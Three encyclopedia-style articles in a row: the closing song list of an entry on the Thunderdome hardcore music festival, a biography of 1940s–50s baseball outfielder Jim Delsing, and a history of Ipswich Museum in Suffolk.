3 Steps Ahead - This is the Thunderdome ("This is the Thunderdome")
3 Steps Ahead - Thunderdome till we Die ("Don't you believe we're in Thunderdome till we die")
DJ Dano - Welcome To The Thunderdome ("Welcome To Another Edition Of Thunderdome")
E-Rick & Tactic - Hardcore Rules the World ("Welcome to Thunderdome '98")
E-Rick & Tactic - Meet her at Thunderdome (Samples obviously taken from Mad Max Beyond Thunderdome because they contain the word "Thunderdome")
DJ Mad Dog And MC Justice - Payback Time ("For all the fuckers and bitches that left us behind! This is thunderdome!")
DJ Promo - Feel the Thunder ("We never stop give you what you want, we never stop give you what you need, Thunderdome, under makes me wonder, feel the bass, there will be no escape, check it, Thunderdome")
Gabbaheads - I'm a Thunderdome Baby ("I'm a Thunderdome baby, so now you can hear me")
Gabber Piet - Gabber Mack ("Shave your head down to the bone, raving at the Thunderdome")
Neophyte & Promo - TD Is You (feat. Minckz) ("Are you ready for the ultimate Thunderdome?!"/"Thunderdome is hardcore. Thunderdome is you.")
The Prophet, Gizmo, Dano & Buzz Fuzz - Thunderdome '93 ("We will take you on a trip into thunder. Thunderdome!")
Yellow Claw & The Opposites - Thunder ("Dit is Thunderdome!")
Guerrillas - Our Legacy ("This is our legacy - Thunderdome.")
Dither - To The Death ("We live, we die in the Thunderdome!")
N-Vitral - Enter The Dome (This is where our legacy began, the thunder")
See also
List of electronic music festivals
ID&T
Gabber music
Hardcore techno
References
External links
The official Thunderdome website
The official ID&T website
Music festivals established in 1992
Hardcore (electronic dance music genre)
Electronic compilation albums
1992 establishments in the Netherlands
Electronic music festivals in the Netherlands
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https://en.wikipedia.org/wiki/Jim%20Delsing
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Jim Delsing
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James Henry Delsing (November 13, 1925 – May 4, 2006) was an American Major League Baseball outfielder who is most remembered for having been the pinch runner for -tall Eddie Gaedel on August 19, 1951. He also was the centerfielder replaced by Hall of Famer Al Kaline in Kaline's major league debut on June 25, 1953. During his career, which spanned 822 games over 10 seasons, Delsing played for the Chicago White Sox, New York Yankees, St. Louis Browns, Detroit Tigers, and Kansas City Athletics.
Delsing signed his first professional contract at the age of 16 in 1942 for the Green Bay Bluejays in the Wisconsin State League. After two years of Minor League Baseball, he joined the Army Medical Corps and served for over a year in Europe during World War II. He resumed his baseball career in 1946 and made his major league debut with the White Sox in 1948. In 1949, he was acquired by the Yankees, filling in for Joe DiMaggio for a few games late in the year while DiMaggio recovered from a virus. He was traded to the Browns in 1950 and became an everyday player in St. Louis for the next three seasons. In August 1952, he was traded to the Tigers. His best year in the major leagues came in 1953, when he had a batting average of .288 and hit 11 home runs. Delsing led American League left fielders with a .996 fielding percentage in 1954, but his batting average declined, and in 1955, he began losing playing time to Charlie Maxwell. In 1956, he started very few games, used mainly as a pinch hitter and defensive replacement for the Tigers and the White Sox, who reacquired him in May. He spent the next three seasons in the minor leagues, winning the American Association pennant with the Charleston Senators in 1958. In 1960, after several of their outfielders suffered injuries, the Athletics added Delsing to their roster in August; he finished his professional career playing 16 games for Kansas City.
Since his time with the Browns, Delsing had resided in the St. Louis. He continued to live there after his baseball career, serving as an advertising salesman for the St. Louis Review for over thirty years, helping out with Catholic charities, and participating in the St. Louis Browns Fan Club. He died of cancer on May 4, 2006.
Early life
Delsing was born to Ben and Barbara Delsing in Rudolph, Wisconsin, on November 13, 1925. He was raised on a dairy farm with his sister, Clairbel. At Rudolph High School, Delsing played guard on the basketball team. "Basketball was our big sport," Delsing recalled. "We did not have enough guys for baseball. We didn't even have football. Our conference had about a half-dozen schools from other towns. I played guard, because I could run." He was skilled at handling the ball and dribbling, but Delsing also got the chance to play baseball with a semi-pro team in Stevens Point, as well as the Moland Truckers of the Wisconsin Valley League, where he competed against Elroy "Crazylegs" Hirsch, who went on to be a star in the National Football League. Delsing caught the eye of scout Eddie Kotal, who signed the 16-year-old to a contract for the Green Bay Bluejays of the Class D Wisconsin State League in 1942.
Career
1942–48: early years; reaching the major leagues with the White Sox
Once his junior year of high school ended, Delsing finished Green Bay's season playing shortstop for the team. "They thought I was a shortstop, because that's what I was playing in semipro," he recalled. "The only reason I played shortstop for Stevens Point was because nobody else could handle it. But I made a lot of errors. I either kicked the ball away, or I threw it away. I think I made more errors throwing than I did any other way, and it was a tough learning experience." He made 28 errors in 49 games and batted .249 with three home runs and 30 runs batted in (RBI). Green Bay finished a half-game back of the Sheboygan Indians for the league pennant.
Delsing graduated high school in 1943 and played for another Class D team, this time the Lockport Cubs of the Pennsylvania–Ontario–New York League (PONY League). He started his season as the third baseman but asked to be moved to the outfield after making 17 errors. Delsing batted .312, tenth in the league by players who participated in at least 50 games, and he had eight home runs and 69 RBI.
In 1944, the Milwaukee Brewers of the Class AAA American Association purchased his contract; Delsing made the team but would not play for two years, as the United States Army drafted him for service in World War II. Assigned to the 95th Evacuation Hospital of the Army Medical Corps, he spent over a year in Europe. When he was able to resume playing in 1946, he failed to get much playing time in spring training because the Brewers had a lot of outfielders, so he asked to be reassigned and was sent to play for the Eau Claire Bears of the Class C Northern League. He batted what would be a career-high .377 in 65 games with 61 RBI, earning a promotion to Milwaukee, where he batted .318 with 20 RBI. This caught the interest of the Chicago White Sox, who obtained him from the Brewers after the season. Delsing attended spring training with the White Sox in 1947 but was assigned to the Hollywood Stars of the Class AAA Pacific Coast League, with whom he had a good season. In 153 games, he batted .316 with 92 runs scored, 181 hits, five home runs, and 53 RBI.
Delsing was part of the White Sox roster to begin the 1948 season. His major league debut was brief. On April 21, he pinch-hit for pitcher Orval Grove in the seventh inning of a game against the Detroit Tigers. Since Delsing batted left-handed, Detroit opted to replace Dizzy Trout (a right-handed pitcher) with Stubby Overmire (a left-handed pitcher) on the mound, prompting White Sox manager Ted Lyons to pinch-hit for Delsing before he ever saw a pitch. He got more playing time in the second game of a doubleheader against the St. Louis Browns on April 25. Starting in left field, he had two hits and three RBI in a 7–6 loss. Delsing also had two hits in his next start on April 26, though he had 14 innings to do so as the White Sox lost 12–11 to the Cleveland Indians. After hitting .211 in nine games through May 8, though, he was sent back to Hollywood. Said Delsing, "I didn't do much in the big league. I batted under .200 [.211, actually]. So the White Sox optioned me back to Hollywood, and I had another good season in [the] Coast League." In 122 games with Hollywood, he batted .333 with 82 runs scored, 154 hits, six home runs, and 56 RBI. A September callup by the White Sox, Delsing started in center field for the ballclub from September 22 through October 3. In 20 games with Chicago, he batted .190 with 12 hits, no home runs, and five RBI. On December 14, he was traded to the New York Yankees for Steve Souchock.
1949–52: substituting for DiMaggio, everyday outfielder for the Browns
The Yankees sent Delsing to spring training with the Kansas City Blues in 1949; Delsing served as their everyday centerfielder during the season. He played 151 of 153 games for the Blues, leading Kansas City hitters with a .317 average and hitting 24 doubles, five triples, and seven home runs. In September, he was called up by the Yankees, and he started four games in place of regular centerfielder Joe DiMaggio, who was suffering from a virus. His first game with the Yankees was the second game of a doubleheader against St. Louis on September 14, in which he had two hits and two runs scored. On September 28, he hit his first major league home run against Joe Coleman of the Philadelphia Athletics. The hit helped the Yankees win 7–5 and keep pace with the Boston Red Sox. They trailed the pennant race with Boston by one game that day but went on to sweep the Red Sox in the season's last two games and win the American League (AL) pennant. In nine games, Delsing batted .350 with five runs scored, seven hits, and three RBI. His promotion to the major leagues came too late in the season for him to be eligible for the playoff roster, but he was voted a partial share of the team's winnings when they beat the Brooklyn Dodgers in the 1949 World Series.
Delsing was part of the Yankees' roster for the 1950 season, but the team had many outfielders, and he only played 12 games (batting .400) through June 15 before being dealt to the St. Louis Browns at the trade deadline. He was traded with Snuffy Stirnweiss, Don Johnson, and Duane Pillette for Tom Ferrick, Sid Schacht, Joe Ostrowski, and Leo Thomas. "I became a regular in St. Louis, and I ended up hitting .269 the first year. Of course, it was a good move for my career. I wanted to get out of New York because I knew I wouldn't get to play, but in St. Louis I started," Delsing said of the deal, happy to get more playing time as the Browns' everyday centerfielder. His first game with the Browns was against the Yankees on June 16; Delsing had two hits, two RBI, and a run scored, but the Browns lost 7–5. In the second game of a doubleheader on July 16, he had three hits and three RBI in a 10–8 victory over the Washington Senators. He had three hits in a game three times during the year: July 16, August 9 against the Indians, and August 11 against the Tigers. In 69 games with the Browns, he batted .263 with 25 runs scored, 55 hits, no home runs, and 15 RBI. His combined totals in 81 games between St. Louis and New York were 27 runs scored, 59 hits, no home runs, 17 RBI, and a .269 average.
Used only as a pinch-hitter for the Browns' first few games in 1951, Delsing became the team's regular centerfielder again starting with the sixth game. On May 16, he pinch-hit for Cliff Fannin in the third inning of a game against the Athletics and had a two-RBI double against Carl Scheib. Then, in the eighth inning, his single against Johnny Kucab scored Hank Arft and broke a 9–9 tie to give the Browns the winning 10th run. While running the bases against the Yankees on June 6, 1951, he ran into Phil Rizzuto, causing the shortstop to drop the ball, enabling the winning run to score in a 5–4 victory for the Browns. He left the Browns' game on June 19 in the fifth inning and did not play again for 13 games. On July 4, he had two hits and three RBI in a 6–5 loss to Cleveland.
Delsing's most famous moment in baseball came on August 19, 1951. Browns owner Bill Veeck, as a publicity stunt, hired a man with dwarfism to play a game for the Browns. The Eddie Gaedel popped out of a cake before the second game of a doubleheader against the Tigers, holding a toy bat and wearing the uniform number 1/8. Gaedel pinch-hit for Frank Saucier to lead off the game, drawing a walk against Bob Cain, who said that the short Gaedel's strike zone was "about the size of a baby's bib." Delsing was promptly sent in to pinch-run for Gaedel, and he played center field for the rest of the game as the Browns lost 6–2. In 2001, Delsing told the Chicago Sun-Times, "A lot of people say Maris hit 61, but I'm the only one who ran for a midget."
In 1951, the Browns finished in last place in the AL, posting a record of 52–102. Delsing played 131 of their games, batting .249 with 59 runs scored, 112 hits, eight home runs, and 45 RBI.
Delsing again opened 1952 as a reserve player but, after only about a week, was playing nearly every day. The Browns used him in center field and in left field at various points during the season. In the first game of a doubleheader against the Senators on May 4, he had three hits (including two doubles) in a 2–1 loss. He pinch-hit in the ninth inning for pitcher Ken Holcombe on July 6 and hit a home run against Art Houtteman in an 8–6 loss to the Tigers. On August 8, he had a three-RBI double against Bob Feller in a 12-inning, 10–9 loss to Cleveland. He batted .255 with 34 runs scored, 76 hits, one home run, and 34 RBI through 93 games with the Browns. Looking to improve their offense, the Browns included him in a trade with Ned Garver, Bud Black, and Dave Madison to the Tigers for slugger Vic Wertz, Don Lenhardt, Dick Littlefield, and Marlin Stuart on August 14.
1952–56: everyday player with the Tigers, lost playing time in 1956
Upon joining the Tigers, Delsing was used as the everyday left fielder. Souchock and Delsing hit back-to-back home runs in the first game of a doubleheader against the Browns on August 17; Delsing had three hits in that game, but the two runs were all for Detroit as they lost 4–2. In the first game of a doubleheader against Cleveland on September 3, Delsing had two hits (including a home run) and three RBI against Feller as the Tigers won 11–8. Though Delsing played 60 fewer games with Detroit in 1952 than he did with St. Louis, he tripled his home run total. Additionally, he batted .274 with 14 runs scored, 31 hits, and 13 RBI. In 126 games combined between the two teams, he batted .260 with 48 runs scored, 107 hits, four home runs, and 49 RBI.
Moved to his favorite position in 1953, Delsing enjoyed his best season as the Tigers' everyday centerfielder. On April 17, he hit two home runs against Feller and had four RBI as the Tigers beat the Indians 6–5. The next day, he had four hits in the first game of a doubleheader against the Browns, but St. Louis won 8–7. Delsing had three RBI and scored a run on May 1 in a 7–3 victory over the Athletics. On June 12, Delsing scored a run in the seventh inning with a triple, then snapped a 1–1 tie in the bottom of the ninth inning with a home run against Sonny Dixon as the Tigers beat the Senators 2–1. The next day, he hit a grand slam against Bob Porterfield in a 7–6 victory over the Senators. Against the Yankees on June 19, he hit two home runs against Bob Kuzava as the Tigers won 3–2. In a 5–2 loss to the Athletics on June 25, Delsing was replaced in the sixth inning in centerfield by future Hall of Famer Al Kaline, who was making his major league debut. The next day, Delsing had three hits against the Senators, including a two-RBI double against Johnny Schmitz as the Tigers won 7–3. In the first game of a doubleheader against the Athletics on September 9, he had three hits, including a home run against Harry Byrd, as the Tigers won 8–2. Delsing set career highs in almost every category in 1953, including games played (138), batting average (.288), runs scored (77), hits (138), home runs (11), and RBI (62).
In 1954, Delsing was shifted back to left field in favor of speedy newcomer Bill Tuttle. Delsing was injured several times during the season. He twisted a knee while sliding into a base (even though he was sliding head-first), he tore some ligaments in the other knee, and he was hit in the head with a pitch by Bob Turley. In spite of all that, he still played 122 games. On May 13, he had two hits and scored three runs in an 8–3 victory over the Athletics. He had four hits including a home run against Coleman on May 25 in a 12-inning, 5–4 victory over the Baltimore Orioles. On July 22, he had three hits and four RBI, including a home run against Moe Burtschy as the Tigers beat the Athletics 9–4. He had three hits and three RBI on September 20 in a 4–3 victory over Baltimore. Six days later, he had four hits and scored two runs, including a home run against Mike Garcia in a 13-inning, 8–7 victory over Cleveland. In 122 games, he batted .248 with 39 runs scored, 92 hits, six home runs, and 38 RBI. Defensively, he led AL left fielders with a .996 fielding percentage, committing only one error all season.
After the 1954 season, Delsing spent the winter working out in a gym and showed up to 1955 spring training in good shape. He was again used as the Tigers' left fielder, but starting in mid-May, he began losing occasional starts to Charlie Maxwell. On April 27, he had three hits and three RBI in an 11–3 win over Baltimore. In the second game of a doubleheader against Boston on May 15, he hit a home run against George Susce and had three RBI in a 9–3 victory. He had his third three-RBI game of the year on June 6, along with three hits, but the Tigers lost that game 7–5 to the Yankees. In the first game of a doubleheader against the Athletics on July 10, he had three hits in a 9–5 Tiger defeat. Hitting .270 through June, he batted .193 in the latter half of the season. In 114 games, Delsing batted .239 with 49 runs scored, 85 hits, 10 home runs, and 60 RBI.
Not a starter to begin the 1956 season, Delsing went hitless in his first 10 games before getting traded back to his original team, the White Sox, along with Fred Hatfield for Jim Brideweser, Harry Byrd, and Bob Kennedy on May 15. Because they already had three starters in the outfield, the White Sox used Delsing mainly as a pinch hitter and defensive replacement. In 55 games with Chicago, he batted .122 with 11 runs scored, five hits, no home runs, and two RBI. His combined average between Chicago and Detroit was .094.
1957–60: battling for one last stint in the majors
In 1957, the White Sox assigned Delsing to their AAA team, the Indianapolis Indians of the American Association. In 139 games, Delsing batted .289 with 68 runs scored, 132 hits, eight home runs, and 70 RBI. The Milwaukee Braves attempted to purchase his contract during the year, but Chicago was not interested in ceding him to another team. Milwaukee acquired Bob Hazle instead, who enjoyed a successful year as the Braves won the NL pennant. After the 1957 season, the Tigers repurchased his contract, assigning him to the Charleston Senators of the American Association.
Delsing was one of several veteran players who helped Charleston win the American Association pennant in 1958. In 154 games for Charleston, he batted .287 with 78 runs scored, 167 hits, seven home runs, and 74 RBI. After the season, the Tigers included him in a trade that sent Reno Bertoia and Ron Samford to the Washington Senators for Eddie Yost and Rocky Bridges.
Sports Illustrated, in its preview of the 1959 Senators, was pessimistic about Delsing, saying he and fellow outfielder Faye Throneberry "don't scare many pitchers when they walk up to the plate." He was on card #386 in the 1959 Topps set, but Delsing never played a game with the Senators; an injured back hurt his chances of making the team. Acquired by the Houston Buffs of the American Association after spring training, Delsing played the whole of the 1959 season with them. "It was different in Houston," Delsing remembered. "I probably hit the ball as well as I ever did. If you check the records, you will see that lefthanded hitters don't do much hitting down there, because of the wind. The outfielders give you the right field line, and bunch you up toward the alleys in right-center and left-center. Those power alleys are where most of my base hits used to be. I would hit a good line drive and be headed around first going to second with a double, I thought, and some outfielder would be scooping up the ball, and I would be out. They just knew how to play the ballpark and the wind conditions. It was like that in the whole league. I thought it was a righthand-hitting league." In 149 games, he batted .233 with 51 runs scored, 122 hits, four home runs, and 40 RBI.
"I played Triple-A ball because I felt that I could still play in the big leagues," Delsing said of the late 1950s. "When you sit on the bench all year, like I did in Chicago in 1956, there is nothing you can do...you're not in shape...You just can't stay in shape and be sharp and be ready to play, when you're not playing." Delsing started 1960 with Charleston, playing 37 games before joining the Dallas-Fort Worth Rangers, also of the American Association, who he played 82 games for. With both those teams, he batted .297 with seven home runs and 37 RBI. After not playing in the major leagues since 1956, he got his chance to return in August when the Kansas City Athletics, who had experienced several injuries to their outfielders, added him to their roster. Delsing had hits in each of his first four games with the Athletics. On September 5, he had two hits, two RBI, and a run scored in an 8–7 victory over the White Sox. He appeared in his final major league game on September 30, when, as he had in his debut 12 years earlier, Delsing pinch-hit for the pitcher (Dick Hall). This time, he reached base on an error by shortstop Dick McAuliffe before being replaced in the next inning by new pitcher Ken Johnson. In 16 games for Kansas City, Delsing batted .250 with two runs scored, 10 hits, no home runs, and five RBI. For 1961, if Delsing wanted to continue with the organization, the Athletics were either going to have him coach or play for a minor league affiliate in Hawaii, but Delsing opted to retire instead.
"I always say that for me, it was pulling on that big-league uniform every day," Delsing described his biggest thrill of playing in the major leagues. Over a 10-year major league career, Delsing batted .255 with 322 runs scored, 627 hits, 40 home runs, and 286 RBI. As an outfielder, he recorded a .989 fielding percentage. In 1,227 minor league games, his batting average was .301. "I always preferred center field," Delsing recalled. "My throwing arm was accurate, but I didn't have that overpowering arm which guys like Al Kaline had. And I could run...I was never a power hitter. My power alleys' were to left-center and right-center. I was not a pull hitter. I was more of a line-drive hitter, just going for singles and doubles."
Personal life
On November 1, 1949, Delsing married Roseanne Brennan, a stewardess for an airline. They bought a house in St. Louis in 1952 and continued to live there until around 1984, when they moved to the Chesterfield area west of the city. During his time with the Tigers, Delsing rented houses on Winthrop Street and Evergreen Road in the northwest part of Detroit. Over the offseason, Delsing worked as a carpenter during his baseball career.
The Delsings had five children: daughters Kim (b. 1951), Jamie (b. 1954), and Mari (or Moochie) (b. 1956) and sons Jay (b. 1960) and Bart (b. 1963). Jay went on to join the Professional Golfers' Association where he played golf competitively, and Jim's grandson Taylor Twellman was the Most Valuable Player of Major League Soccer in 2005.
After Delsing retired, he spent 30 years as an advertising salesman for the St. Louis Review, a Catholic newspaper. Delsing was also involved in the St. Vincent de Paul Society, the St. Nicholas food pantry, the Ascension Altar Society, and other Catholic charities. His time with the Browns made him a well-qualified member of the St. Louis Browns Fan Club, formed in 1984 to remember the franchise, which moved to Baltimore to become the Orioles after the 1953 season. Several of his former Browns teammates remained friends with him, such as Sherm Lollar (his best friend in St. Louis), Arft (who lived 15 minutes away from him in 1994), and Don Robinson (Delsing was in his wedding). Delsing died of cancer on May 4, 2006.
See also
Chicago White Sox all-time roster
References
External links
1925 births
2006 deaths
Baseball players from Wisconsin
Charleston Senators players
Chicago White Sox players
Dallas Rangers players
Detroit Tigers players
Eau Claire Bears players
Green Bay Bluejays players
Hollywood Stars players
Houston Buffs players
Indianapolis Indians players
Kansas City Athletics players
Kansas City Blues (baseball) players
Lockport Cubs players
Major League Baseball outfielders
Milwaukee Brewers (AA) players
New York Yankees players
St. Louis Browns players
People from Rudolph, Wisconsin
Baseball players from St. Louis County, Missouri
United States Army personnel of World War II
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https://en.wikipedia.org/wiki/Ipswich%20Museum
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Ipswich Museum
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Ipswich Museum is a registered museum of culture, history and natural heritage located on High Street in Ipswich, the county town of Suffolk. It was historically the leading regional museum in Suffolk, housing collections drawn from both the former counties of East Suffolk and West Suffolk, which were amalgamated in 1974.
The original foundation of 1846, devoted primarily to Natural History, was moved to new premises in High Street in 1881. In about 1895 Christchurch Mansion, a large 16th-century house near the town centre in Christchurch Park, was given to the town. It was developed as a second venue under the same management and curatorship, devoted particularly to fine and decorative arts. Both are parts of one institution and draw on the same central core of collections. The entire service was merged with that of Colchester (Essex) on 1 April 2007 to form Colchester + Ipswich Museums. It is one of Ipswich's main features. The museum closed in October 2022 to undergo what is expected to be a 3-year refurbishment.
History
The early museum, 1846–1853
The museum was founded in 1846 and opened in December 1847 in Museum Street, Ipswich then newly laid-out, with the specific remit to educate the working classes in natural history. From 1847 to 1853 it was run by a committee on behalf of subscribers, with open evenings for the public. The first president was the entomologist William Kirby (1759–1850), an original Fellow of the Linnean Society, and its founding Patron was Bishop Stanley of Norwich, who presided at the opening. The first Curator was Dr. William Barnard Clarke: following his resignation in 1850 he was replaced by Mr David Wooster.
The primary initiative for this philanthropic venture came from George Ransome, FLS, a member of the Quaker Ransome family of Ipswich and younger brother of (James) Allen Ransome. The Ransome engineering industry helped to build the town's industrial prosperity in the early 19th century. All political complexions became involved in the common aim of social improvement through the museum, and over sixty leading scientists lent their support as honorary members or vice-presidents.
The presidency of John Stevens Henslow, 1850–1861
During these first years the museum gained national repute under its second president (1850–61), Revd Professor John Stevens Henslow, who had been Charles Darwin's mentor at Cambridge University. In 1851 the British Association for the Advancement of Science met at Ipswich, and the museum was inspected and greatly admired by HRH Prince Albert, who became its official Patron.
The natural history displays, including many specimens still on show, were set up in the years preceding the publication of Darwin's book The Origin of Species, to show the relation of the various parts of the natural kingdom as it was then understood, and as it was about to be transformed. Many of the honorary members who actually attended museum functions at Ipswich were people at the centre of that revolution, including William Jackson Hooker, William Yarrell, William Buckland and John Gould.
Other honorary members gave important lecture series, notably the first popular course of astronomy lectures by Professor George Biddell Airy, lectures on geology by Professors John Stevens Henslow, Adam Sedgwick, Richard Owen, Edward Forbes, and Sir Charles Lyell, and others by William Carpenter, Lyon Playfair, Edwin Lankester, David Ansted, etc. A set of lithograph portraits of honorary members of the Ipswich Museum was produced by Thomas Herbert Maguire.
The museum adopted by the corporation, 1853
After a financial collapse in late 1852, a referendum was held in the town which voted overwhelmingly to support the museum through the provisions of the Public Libraries Act 1850. This permitted the levying of a public rate to support such institutions. The collections and properties were formally transferred complete to the Corporation, which retained them in the original premises under the terms of a lease from the builders. Under the new management the terms of public admission were extensively widened. Henslow remained president and continued to develop the collections actively until 1861. A new curator, George Knights, was appointed on the resignation of David Wooster in 1853.
After Henslow's death in 1861, soon after the great confrontation concerning Evolution between Bishop Samuel Wilberforce and Thomas Huxley at Oxford at which Henslow presided, his curator George Knights maintained the collections until his death in 1872.
The curatorship of Dr John Ellor Taylor FLS, FGS, 1872–1893
George Knights was succeeded by Dr John Ellor Taylor (1837–1895), FLS, FGS, botanist and geologist. With the help of Edward Packard, founder of the Packard and Fison fertiliser industry, Taylor created what Sir Ray Lankester considered to be the finest representative collections of local geology in the country. Dr Taylor was also editor of the national popular science journal "Hardwicke's Science Gossip Magazine", and leading light of the Ipswich Science Gossip Society (1869), which under his guidance became the Ipswich Scientific Society (1875). He had founded the equivalent Society in Norwich in 1870 and was a co-founder of the Norfolk Geological Society.
Taylor advocated the possibilities of coal-mining in Suffolk, and gave lectures (free to the working classes) to audiences of up to 500, giving 20 lectures each season from 1872 to 1893. He also made a lecture-tour of Australia in 1885, and wrote several popular books including 'Half-Hours at the Seaside', 'Half-Hours in Green Lanes' and the celebrated title 'The Sagacity and Morality of Plants'. His work contributed very largely to public education in Ipswich.
The new museum, opened 1881
By 1880 the collections and uses of the museum had so far expanded that it was found desirable to build new premises to house both the museum itself and the Schools of Art and Science which were maintained by the corporation. The project was undertaken with the help of public subscription, and was largely sponsored by Suffolk county benefactors but with many smaller contributions from Ipswich townsfolk. The principal sponsor was the museum's then president Sir Richard Wallace of Sudbourne Hall, Suffolk, creator of the famous art collection at Hertford House.
Under Taylor's management the transfer was completed in 1881, and the original 1846 building later became a dance hall known as the Arlington Ballroom. The building is now a brasserie style restaurant, still retaining the hall and balcony. The new museum incorporated a hall with balconies, fitted with the original cabinets and lion case. Further expansion on the site, including an art gallery, new rooms for the schools, and extensive new galleries were completed between 1890 and 1900, and the Borough's floating debt on the project was extinguished by the generosity of Mrs Margaret Ogilvie of Sizewell Hall out of appreciation for Taylor's work.
The curatorship of Frank Woolnough, 1893–1920
Dr. Taylor died bankrupt in 1895 and his friend Frank Woolnough (1845–1930) succeeded him as Curator 1893–1920. In 1895 the Tudor house in the park on the north side of Ipswich, Christchurch Mansion (built for Edmund Withypoll in 1548–1550), was given to the town by Felix Cobbold and eventually became the art and local history department of the Borough's Museums. Woolnough made himself a polymath and developed both departments of the museum and also the Schools with great vigour. He was also active in the Museums Association, securing Congress visits in 1908 and 1916, and was local Secretary for the Ipswich Congresses of the British Association for the Advancement of Science of 1895 and of the Royal Archaeological Institute in 1899.
Prehistoric archaeology owed a special debt to Suffolk since it was at Hoxne during the 1790s that John Frere recognised humanly-worked flints together with the remains of extinct animals, and the general realisation of the greater antiquity of humankind first began. The Prehistoric Society of East Anglia was created in 1908, centred at Norwich and Ipswich Museums, then the only Society dedicated specifically to this study. Interest developed strongly at Ipswich. The Ipswich investigator James Reid Moir became very active in all the Suffolk county societies and in the museum, encouraged by his mentor Sir Ray Lankester, who was museum president 1901–29.
At the same time archaeology of various periods (but especially the Prehistoric) in Ipswich and East Anglia was strongly developed by Nina Frances Layard (1853–1935), who in 1920–21 was among the first women admitted as Fellows of the Society of Antiquaries of London. She was also the first woman president of the Prehistoric Society, and in the second year of lady Fellows admitted to the Linnean Society (1906). She maintained a long collaboration with Ipswich Museum and bequeathed most of her collections to it.
An important acquisition of this time was the collection of stuffed British birds presented by the Ogilvie family in 1918. Collected in Suffolk and Scotland, they represent the long collaboration of Fergus Menteith Ogilvie (1861–1918) with the Norwich taxidermist Thomas Gunn. This large collection, still intact, on display and in good condition, has extremely beautiful simulated habitats and is now a rare survival. Woolnough also acquired gorillas shot by Paul du Chaillu, a stuffed giraffe in glass case, and an overstuffed rhino (known variously as 'Gladys' or 'Rosie' by generations of Ipswich schoolchildren), and he completely re-stocked the former lion case with African animals obtained from Messrs Rowland Ward Ltd. Another noted acquisition was a collection of Western Australian aboriginal material acquired from Emile Clement.
The curatorship of Guy Maynard, 1920–1952
Frank Woolnough was succeeded by Guy Maynard (1877–1966), previously of Saffron Walden Museum, who was curator from 1920 to 1953. Maynard was Secretary and Editor of the Prehistoric Society from 1921 to 1936, when this role was taken over by the Cambridge archaeologist Charles Phillips. Maynard and Reid Moir made a team interested in archaeology and developed this work strongly on behalf of the museum, excavating in various parts of Suffolk. Museum assistants Harold Spencer and Francis Simpson became specialised in geology and natural history from the 1920s, evolving a departmental structure for the museum through their work and publications with the Suffolk Naturalists' Society and the Ipswich and District Natural History Society. Reports of archaeological work went to the Suffolk Institute of Archaeology Proceedings, of which both Reid Moir and Maynard were officers.
Reid Moir succeeded Lankester as president until his death in 1944, and through international contacts developed representative collections of implements from most sites published by the Prehistoric Society. Although some of his theories and researches have since been abandoned he was held in high regard by many of his scientific contemporaries. He was elected a Fellow of the Royal Society in 1937.
Guy Maynard continued Woolnough's work in the area of Fine and Applied Art and Local History assiduously. After the Gainsborough Centenary Exhibition of 1928 a strategy to develop collections showing the Suffolk context of the work of Thomas Gainsborough and John Constable was carried forward. Active in the Suffolk Preservation Society, Maynard rescued what he could from the disappearing timber structures of Ipswich, modernised the museum records, developed photographic records of Ipswich, maintained annual abstracts of archaeological work in the county, and enormously extended the collections of regional artefacts of all kinds.
After 1934 the museum's work in practical archaeology became centred on the employment of Basil Brown (1888–1977), who with Guy Maynard first conducted three years' investigation of a Roman villa at Stanton Chair in Suffolk. The museum was approached to release Brown for part of 1938 and 1939 to investigate the Sutton Hoo mounds for Mrs Pretty, under the museum's guidance. In the second year he made the astounding discovery of the ship and its treasure in Mound 1, at which point the national interest of the find led to the formation of an external team led by Charles Phillips.
During the War Guy Maynard had the responsibility of packing up the most valuable collections and transferring them into safe storage, and afterwards of reinstating them. On Reid Moir's death in 1944 he was succeeded as president by Sir Charles Sherrington. Basil Brown was re-employed until the 1960s and continued his work throughout the county, building the basis of the county's Sites and Monuments Record. This was latterly under the curatorship of Norman Smedley (1953–1964), who afterwards formalised the archaeological role for Miss Elizabeth Owles.
List of honorary presidents of Ipswich Museum
The Revd. William Kirby, 1847–50
The Revd. Professor John Stevens Henslow, 1850–1861
Charles Austin of Brandeston Hall, 1861–1874 (High Steward of Ipswich 1849–1874)
Sir Richard Wallace, Bt of Sudbourne Hall, 1874–1890 (High Steward of Ipswich 1882–1884)
Sterling Westhorp
Edward Packard senr., 1895–1899
Sir Ray Lankester, 1901–1921
James Reid Moir, F.R.S., 1921–1944
Sir Charles Sherrington, 1944–1952
Anna Airy
John Gathorne-Hardy, 4th Earl of Cranbrook.
Since the mid-1970s no further appointments have been made.
Recent organisation
Through a succession of post-War curators (Norman Smedley, Patricia Butler, Alf Hatton, Sara Muldoon and Tim Heyburn) the museum has passed into a more contemporary pattern of staffing which has varied in number and roles according to perceived priorities and financial restraints of different times. Local Government Reorganisation in 1974 merged the two counties of East and West Suffolk. Practical Archaeology then became the function of the new Suffolk County Council Field Archaeology Unit, which also houses the Sites and Monuments Record. The museum's former link with the Ipswich Art School and the Library Service was also severed as they were transferred to the County Council. The useful honorary office of president was discontinued during the 1970s.
Merger with Colchester Museum Service, 2007
In the first constitutional change since the public discussion and vote of 1853, on 1 April 2007 the Ipswich Borough Council Museums Service was merged with that of Colchester Borough Council (Essex), under the curatorship of Peter Berridge, and its staff were transferred to the employment of Colchester. The building and collections, however, remain the property of the town of Ipswich, the Borough being responsible for 50% of funding. Ipswich Museum continues to be part of Colchester + Ipswich Museums (CIMS).
CIMS has retained Collections and Learning Curators, Collections Information and Conservation Officers in Ipswich to look after Ipswich Museum, Christchurch Mansion and Ipswich Art Gallery alongside the Visitors Services team. The Exhibitions and Business Support teams work across both towns. The Museum Service is overseen by the Joint Museums Committee, composed of councillors from Ipswich Borough and Colchester Borough Councils.
Renovation
As of 2022 the museum is undertaking a major redevelopment project, budgeted at £8.7 million. The Victorian Society, a registered charity founded in 1958, has objected to preliminary visualisations of the interior as betraying the historical character of the space. However, officers of the museum "have reassured heritage conservationalists that it will preserve the Victorian ambiance of its Natural History Gallery."
Holdings
The Ipswich Hoard, found near Belstead in 1968, is now in the British Museum, but there are also copies of these torcs in this museum.
Popular culture
The 1956 Rayant Pictures film The Secret of the Forest was a children's film featuring four children thwarting the attempt of some robbers to steal a golden cup. Some footage was taken in Ipswich Museum.
The 2021 Netflix film The Dig follows the story of archeologist Basil Brown discovering the Sutton Hoo ship-burial. Brown, an employee of the museum, is regularly mentioned throughout the film and makes a brief appearance, although the actual museum was not used during filming.
Notes
References
Ipswich Borough Council and Colchester Borough Council, December 2006, "A Business Plan for a Combined Museum Service for Colchester and Ipswich".
